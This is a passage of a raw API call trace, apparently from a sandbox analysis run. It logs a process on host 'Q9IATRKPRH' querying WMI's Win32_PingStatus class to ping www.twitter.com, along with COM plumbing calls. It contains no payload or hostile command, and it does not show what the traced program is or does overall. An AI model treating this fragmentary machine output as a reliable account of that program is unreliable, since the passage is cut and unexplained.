puNameBufLength=0x5bde868*=0x6, pName=0x0) returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df460, uIndex=0x1, puNameBufLength=0x5bde868*=0x6, pName="00000" | out: puNameBufLength=0x5bde868*=0x6, pName="cimv2") returned 0x0 [0156.560] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df3f0, uIndex=0x1, pszName="cimv2") returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df3f0, puBuffLength=0x5bde88c*=0x0, pszName=0x0 | out: puBuffLength=0x5bde88c*=0x0, pszName=0x0) returned 0x8004103a [0156.560] WbemDefPath:IWbemPath:SetClassName (This=0x5df3f0, Name="Win32_PingStatus") returned 0x0 [0156.561] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df3f0, puCount=0x5bde8a8 | out: puCount=0x5bde8a8*=0x2) returned 0x0 [0156.561] WbemDefPath:IWbemPath:GetText (in: This=0x5df3f0, lFlags=4, puBuffLength=0x5bde8a4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8a4*=0x29, pszText=0x0) returned 0x0 [0156.561] WbemDefPath:IWbemPath:GetText (in: This=0x5df3f0, lFlags=4, puBuffLength=0x5bde8a4*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x5bde8a4*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0156.561] WbemDefPath:IWbemPath:GetInfo (in: This=0x5df3f0, uRequestedInfo=0x0, puResponse=0x5bde8b0 | out: puResponse=0x5bde8b0*=0x20c16) returned 0x0 [0156.561] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df3f0, puCount=0x5bde8a8 | out: puCount=0x5bde8a8*=0x2) returned 0x0 [0156.561] WbemDefPath:IWbemPath:GetText (in: This=0x5df3f0, lFlags=8, puBuffLength=0x5bde8a4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8a4*=0x18, pszText=0x0) returned 0x0 [0156.561] WbemDefPath:IWbemPath:GetText (in: This=0x5df3f0, lFlags=8, puBuffLength=0x5bde8a4*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x5bde8a4*=0x18, pszText="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0156.561] WbemDefPath:IWbemPath:GetInfo (in: This=0x5df3f0, uRequestedInfo=0x0, puResponse=0x5bde8b0 | out: puResponse=0x5bde8b0*=0x20c16) returned 0x0 [0156.562] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ec [0156.562] SetEvent (hEvent=0x3f4) returned 1 [0156.562] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde804*=0x4ec, lpdwindex=0x5bde628 | out: lpdwindex=0x5bde628) returned 0x0 [0156.565] CoGetContextToken (in: pToken=0x5bde6dc | out: pToken=0x5bde6dc) returned 0x0 [0156.565] CoGetContextToken (in: pToken=0x5bde63c | out: pToken=0x5bde63c) returned 0x0 [0156.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x5bde70c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde708 | out: ppvObject=0x5bde708*=0x5df4d0) returned 0x0 [0156.565] WbemDefPath:IUnknown:AddRef (This=0x5df4d0) returned 0x3 [0156.565] WbemDefPath:IUnknown:Release (This=0x5df4d0) returned 0x2 [0156.565] WbemDefPath:IWbemPath:SetText (This=0x5df4d0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0156.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df4d0, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0156.565] WbemDefPath:IWbemPath:GetText (in: This=0x5df4d0, lFlags=4, puBuffLength=0x5bde87c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde87c*=0x18, pszText=0x0) returned 0x0 [0156.565] WbemDefPath:IWbemPath:GetText (in: This=0x5df4d0, lFlags=4, puBuffLength=0x5bde87c*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x5bde87c*=0x18, pszText="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0156.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde898 | out: puCount=0x5bde898*=0x2) returned 0x0 [0156.565] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde894*=0x0, pszText=0x0 | out: puBuffLength=0x5bde894*=0xf, pszText=0x0) returned 0x0 [0156.565] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde894*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde894*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.567] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde82c | out: puCount=0x5bde82c*=0x2) returned 0x0 [0156.567] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde828*=0x0, pszText=0x0 | out: puBuffLength=0x5bde828*=0xf, pszText=0x0) returned 0x0 [0156.567] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde828*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde828*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.567] WbemDefPath:IWbemPath:GetText (in: This=0x5df3f0, lFlags=2, puBuffLength=0x5bde830*=0x0, pszText=0x0 | out: puBuffLength=0x5bde830*=0x11, pszText=0x0) returned 0x0 [0156.567] WbemDefPath:IWbemPath:GetText (in: This=0x5df3f0, lFlags=2, puBuffLength=0x5bde830*=0x11, pszText="0000000000000000" | out: puBuffLength=0x5bde830*=0x11, pszText="Win32_PingStatus") returned 0x0 [0156.569] CoGetContextToken (in: pToken=0x5bde5d4 | out: pToken=0x5bde5d4) returned 0x0 [0156.569] CoGetContextToken (in: pToken=0x5bde534 | out: pToken=0x5bde534) returned 0x0 [0156.569] CoGetContextToken (in: pToken=0x5bde534 | out: pToken=0x5bde534) returned 0x0 [0156.569] CoUnmarshalInterface (in: pStm=0x61b638, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde528 | out: ppv=0x5bde528*=0x5c15ac) returned 0x0 [0156.570] CoMarshalInterface (pStm=0x61b638, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5c15ac, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0156.570] WbemLocator:IUnknown:QueryInterface (in: This=0x5c15ac, riid=0x5bde604*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5bde600 | out: ppvObject=0x5bde600*=0x5f76d50) returned 0x0 [0156.570] WbemLocator:IUnknown:Release (This=0x5c15ac) returned 0x1 [0156.570] IWbemServices:GetObject (in: This=0x5f76d50, strObjectPath="Win32_PingStatus", lFlags=0, pCtx=0x0, ppObject=0x5bde7e4*=0x0, ppCallResult=0x0 | out: ppObject=0x5bde7e4*=0x5f7f0b8, ppCallResult=0x0) returned 0x0 [0156.577] WbemLocator:IUnknown:Release (This=0x5f76d50) returned 0x0 [0156.577] IWbemClassObject:Get (in: This=0x5f7f0b8, wszName="__PATH", lFlags=0, pVal=0x5bde7cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde874*=0, plFlavor=0x5bde870*=0 | out: pVal=0x5bde7cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus", varVal2=0x0), pType=0x5bde874*=8, plFlavor=0x5bde870*=64) returned 0x0 [0156.577] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x50 [0156.577] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x50 [0156.578] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f0 [0156.578] SetEvent (hEvent=0x3f4) returned 1 [0156.578] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde788*=0x4f0, lpdwindex=0x5bde5ac | out: lpdwindex=0x5bde5ac) returned 0x0 [0156.580] CoGetContextToken (in: pToken=0x5bde65c | out: pToken=0x5bde65c) returned 0x0 [0156.580] CoGetContextToken (in: pToken=0x5bde5bc | out: pToken=0x5bde5bc) returned 0x0 [0156.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df540, riid=0x5bde68c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde688 | out: ppvObject=0x5bde688*=0x5df540) returned 0x0 [0156.581] WbemDefPath:IUnknown:AddRef (This=0x5df540) returned 0x3 [0156.581] WbemDefPath:IUnknown:Release (This=0x5df540) returned 0x2 [0156.581] WbemDefPath:IWbemPath:SetText (This=0x5df540, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x0 [0156.581] IWbemClassObject:Get (in: This=0x5f7f0b8, wszName="__SERVER", lFlags=0, pVal=0x5bde80c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde890*=0, plFlavor=0x5bde88c*=0 | out: pVal=0x5bde80c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x5bde890*=8, plFlavor=0x5bde88c*=64) returned 0x0 [0156.581] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.581] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.581] IWbemClassObject:Get (in: This=0x5f7f0b8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde80c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde890*=8, plFlavor=0x5bde88c*=64 | out: pVal=0x5bde80c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\cimv2", varVal2=0x0), pType=0x5bde890*=8, plFlavor=0x5bde88c*=64) returned 0x0 [0156.581] SysStringByteLen (bstr="ROOT\\cimv2") returned 0x14 [0156.581] SysStringByteLen (bstr="ROOT\\cimv2") returned 0x14 [0156.581] IWbemClassObject:Get (in: This=0x5f7f0b8, wszName="__CLASS", lFlags=0, pVal=0x5bde80c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde890*=8, plFlavor=0x5bde88c*=64 | out: pVal=0x5bde80c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x5bde890*=8, plFlavor=0x5bde88c*=64) returned 0x0 [0156.581] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.581] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.582] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f4 [0156.582] SetEvent (hEvent=0x3f4) returned 1 [0156.582] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde768*=0x4f4, lpdwindex=0x5bde58c | out: lpdwindex=0x5bde58c) returned 0x0 [0156.584] CoGetContextToken (in: pToken=0x5bde63c | out: pToken=0x5bde63c) returned 0x0 [0156.584] CoGetContextToken (in: pToken=0x5bde59c | out: pToken=0x5bde59c) returned 0x0 [0156.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x5bde66c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde668 | out: ppvObject=0x5bde668*=0x5df620) returned 0x0 [0156.585] WbemDefPath:IUnknown:AddRef (This=0x5df620) returned 0x3 [0156.585] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x2 [0156.585] WbemDefPath:IWbemPath:SetText (This=0x5df620, uMode=0x4, pszPath="") returned 0x0 [0156.585] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f8 [0156.585] SetEvent (hEvent=0x3f4) returned 1 [0156.585] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde768*=0x4f8, lpdwindex=0x5bde58c | out: lpdwindex=0x5bde58c) returned 0x0 [0156.587] CoGetContextToken (in: pToken=0x5bde63c | out: pToken=0x5bde63c) returned 0x0 [0156.587] CoGetContextToken (in: pToken=0x5bde59c | out: pToken=0x5bde59c) returned 0x0 [0156.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df690, riid=0x5bde66c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde668 | out: ppvObject=0x5bde668*=0x5df690) returned 0x0 [0156.587] WbemDefPath:IUnknown:AddRef (This=0x5df690) returned 0x3 [0156.587] WbemDefPath:IUnknown:Release (This=0x5df690) returned 0x2 [0156.587] WbemDefPath:IWbemPath:SetText (This=0x5df690, uMode=0x4, pszPath="") returned 0x0 [0156.587] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df690, puCount=0x5bde80c | out: puCount=0x5bde80c*=0x0) returned 0x0 [0156.587] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df620, puCount=0x5bde80c | out: puCount=0x5bde80c*=0x0) returned 0x0 [0156.588] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df690, puBuffLength=0x5bde864*=0x0, pszName=0x0 | out: puBuffLength=0x5bde864*=0x0, pszName=0x0) returned 0x8004103a [0156.588] WbemDefPath:IWbemPath:GetServer (in: This=0x5df690, puNameBufLength=0x5bde860*=0x0, pName=0x0 | out: puNameBufLength=0x5bde860*=0x0, pName=0x0) returned 0x80041009 [0156.588] WbemDefPath:IWbemPath:SetServer (This=0x5df690, Name="Q9IATRKPRH") returned 0x0 [0156.588] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4fc [0156.588] SetEvent (hEvent=0x3f4) returned 1 [0156.588] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde768*=0x4fc, lpdwindex=0x5bde58c | out: lpdwindex=0x5bde58c) returned 0x0 [0156.590] CoGetContextToken (in: pToken=0x5bde63c | out: pToken=0x5bde63c) returned 0x0 [0156.590] CoGetContextToken (in: pToken=0x5bde59c | out: pToken=0x5bde59c) returned 0x0 [0156.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df700, riid=0x5bde66c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde668 | out: ppvObject=0x5bde668*=0x5df700) returned 0x0 [0156.591] WbemDefPath:IUnknown:AddRef (This=0x5df700) returned 0x3 [0156.591] WbemDefPath:IUnknown:Release (This=0x5df700) returned 0x2 [0156.591] WbemDefPath:IWbemPath:SetText (This=0x5df700, uMode=0x4, pszPath="ROOT\\cimv2") returned 0x0 [0156.591] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df690, puCount=0x5bde80c | out: puCount=0x5bde80c*=0x0) returned 0x0 [0156.591] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df700, puCount=0x5bde80c | out: puCount=0x5bde80c*=0x2) returned 0x0 [0156.591] WbemDefPath:IWbemPath:GetText (in: This=0x5df700, lFlags=16, puBuffLength=0x5bde808*=0x0, pszText=0x0 | out: puBuffLength=0x5bde808*=0xb, pszText=0x0) returned 0x0 [0156.591] WbemDefPath:IWbemPath:GetText (in: This=0x5df700, lFlags=16, puBuffLength=0x5bde808*=0xb, pszText="0000000000" | out: puBuffLength=0x5bde808*=0xb, pszText="ROOT\\cimv2") returned 0x0 [0156.591] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5df690) returned 0x0 [0156.591] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df700, puCount=0x5bde844 | out: puCount=0x5bde844*=0x2) returned 0x0 [0156.591] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df700, uIndex=0x0, puNameBufLength=0x5bde840*=0x0, pName=0x0 | out: puNameBufLength=0x5bde840*=0x5, pName=0x0) returned 0x0 [0156.591] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df700, uIndex=0x0, puNameBufLength=0x5bde840*=0x5, pName="0000" | out: puNameBufLength=0x5bde840*=0x5, pName="ROOT") returned 0x0 [0156.591] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df690, uIndex=0x0, pszName="ROOT") returned 0x0 [0156.591] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df700, uIndex=0x1, puNameBufLength=0x5bde840*=0x0, pName=0x0 | out: puNameBufLength=0x5bde840*=0x6, pName=0x0) returned 0x0 [0156.591] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df700, uIndex=0x1, puNameBufLength=0x5bde840*=0x6, pName="00000" | out: puNameBufLength=0x5bde840*=0x6, pName="cimv2") returned 0x0 [0156.591] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df690, uIndex=0x1, pszName="cimv2") returned 0x0 [0156.591] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df690, puBuffLength=0x5bde864*=0x0, pszName=0x0 | out: puBuffLength=0x5bde864*=0x0, pszName=0x0) returned 0x8004103a [0156.591] WbemDefPath:IWbemPath:SetClassName (This=0x5df690, Name="Win32_PingStatus") returned 0x0 [0156.592] IWbemClassObject:BeginMethodEnumeration (This=0x5f7f0b8, lEnumFlags=0) returned 0x0 [0156.592] IWbemClassObject:NextMethod (in: This=0x5f7f0b8, lFlags=0, pstrName=0x5bde81c*=0x0, ppInSignature=0x5bde864*=0x0, ppOutSignature=0x5bde860*=0x0 | out: pstrName=0x5bde81c*=0x0, ppInSignature=0x5bde864*=0x0, ppOutSignature=0x5bde860*=0x0) returned 0x40005 [0156.592] IWbemClassObject:EndMethodEnumeration (This=0x5f7f0b8) returned 0x0 [0156.643] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bde260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0156.644] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bde260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0156.645] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bde1d8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0156.652] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9a0 | out: puCount=0x5bde9a0*=0x2) returned 0x0 [0156.652] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde99c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde99c*=0xf, pszText=0x0) returned 0x0 [0156.652] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde99c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde99c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.652] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9a0 | out: puCount=0x5bde9a0*=0x2) returned 0x0 [0156.652] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde99c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde99c*=0xf, pszText=0x0) returned 0x0 [0156.652] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde99c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde99c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.652] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9a8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde99c | out: pNames=0x5bde99c*="\x01ƀ\x04") returned 0x0 [0156.652] SafeArrayGetDim (psa=0x5f6db78) returned 0x1 [0156.652] SafeArrayGetDim (psa=0x5f6db78) returned 0x1 [0156.653] SafeArrayGetLBound (in: psa=0x5f6db78, nDim=0x1, plLbound=0x5bde834 | out: plLbound=0x5bde834) returned 0x0 [0156.653] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.653] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.653] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.653] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.653] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.653] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.653] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.653] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.653] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.653] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.653] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.654] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.654] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.654] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.654] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.654] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.654] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.654] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.654] SysStringByteLen (bstr="__PATH") returned 0xc [0156.654] SysStringByteLen (bstr="__PATH") returned 0xc [0156.654] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2334ab8*=0, plFlavor=0x2334abc*=0 | out: pVal=0x5bde998*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2334ab8*=3, plFlavor=0x2334abc*=64) returned 0x0 [0156.655] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2334aec*=0, plFlavor=0x2334af0*=0 | out: pVal=0x5bde998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2334aec*=8, plFlavor=0x2334af0*=64) returned 0x0 [0156.655] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.655] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.655] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2334b44*=0, plFlavor=0x2334b48*=0 | out: pVal=0x5bde998*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2334b44*=8, plFlavor=0x2334b48*=64) returned 0x0 [0156.655] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2334b6c*=0, plFlavor=0x2334b70*=0 | out: pVal=0x5bde998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2334b6c*=8, plFlavor=0x2334b70*=64) returned 0x0 [0156.655] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.655] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.655] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2334bc4*=0, plFlavor=0x2334bc8*=0 | out: pVal=0x5bde998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2334bc4*=8, plFlavor=0x2334bc8*=64) returned 0x0 [0156.655] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.655] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.656] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2334da0*=0, plFlavor=0x2334da4*=0 | out: pVal=0x5bde998*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2334da0*=3, plFlavor=0x2334da4*=64) returned 0x0 [0156.656] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2334dd4*=0, plFlavor=0x2334dd8*=0 | out: pVal=0x5bde998*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dc08*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85060, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2334dd4*=8200, plFlavor=0x2334dd8*=64) returned 0x0 [0156.656] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2334e08*=0, plFlavor=0x2334e0c*=0 | out: pVal=0x5bde998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2334e08*=8, plFlavor=0x2334e0c*=64) returned 0x0 [0156.656] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.656] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.656] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2334e54*=0, plFlavor=0x2334e58*=0 | out: pVal=0x5bde998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2334e54*=8, plFlavor=0x2334e58*=64) returned 0x0 [0156.656] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.656] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.657] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2334ea0*=0, plFlavor=0x2334ea4*=0 